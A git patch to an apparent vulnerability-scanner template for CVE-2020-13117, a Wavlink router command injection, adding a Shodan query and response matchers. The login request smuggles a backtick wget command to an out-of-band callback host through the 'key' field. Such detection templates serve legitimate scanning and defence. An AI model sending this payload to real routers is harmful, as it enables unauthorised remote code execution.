From 22f054cf0c8339cf6555a408e36cbb2a952781a8 Mon Sep 17 00:00:00 2001 From: Prince Chaddha Date: Sun, 15 May 2022 16:47:36 +0530 Subject: [PATCH] Update CVE-2020-13117.yaml --- cves/2020/CVE-2020-13117.yaml | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/cves/2020/CVE-2020-13117.yaml b/cves/2020/CVE-2020-13117.yaml index 9f238d5550..11bdb17c11 100644 --- a/cves/2020/CVE-2020-13117.yaml +++ b/cves/2020/CVE-2020-13117.yaml @@ -13,7 +13,10 @@ info: cvss-score: 9.8 cve-id: CVE-2020-13117 cwe-id: CWE-77 - tags: cve,cve2020,wavlink,rce,oast + metadata: + verified: true + shodan-query: http.title:"Wi-Fi APP Login" + tags: cve,cve2020,wavlink,rce,oast,router requests: - raw: @@ -26,8 +29,18 @@ requests: newUI=1&page=login&username=admin&langChange=0&ipaddr=192.168.1.66&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=wifi.wavlink.com&key=%27%3B%60wget+http%3A%2F%2F{{interactsh-url}}%3B%60%3B%23&password=asd&lang_select=en + matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" + + - type: word + part: body + words: + - "parent.location.replace" + + - type: status + status: + - 200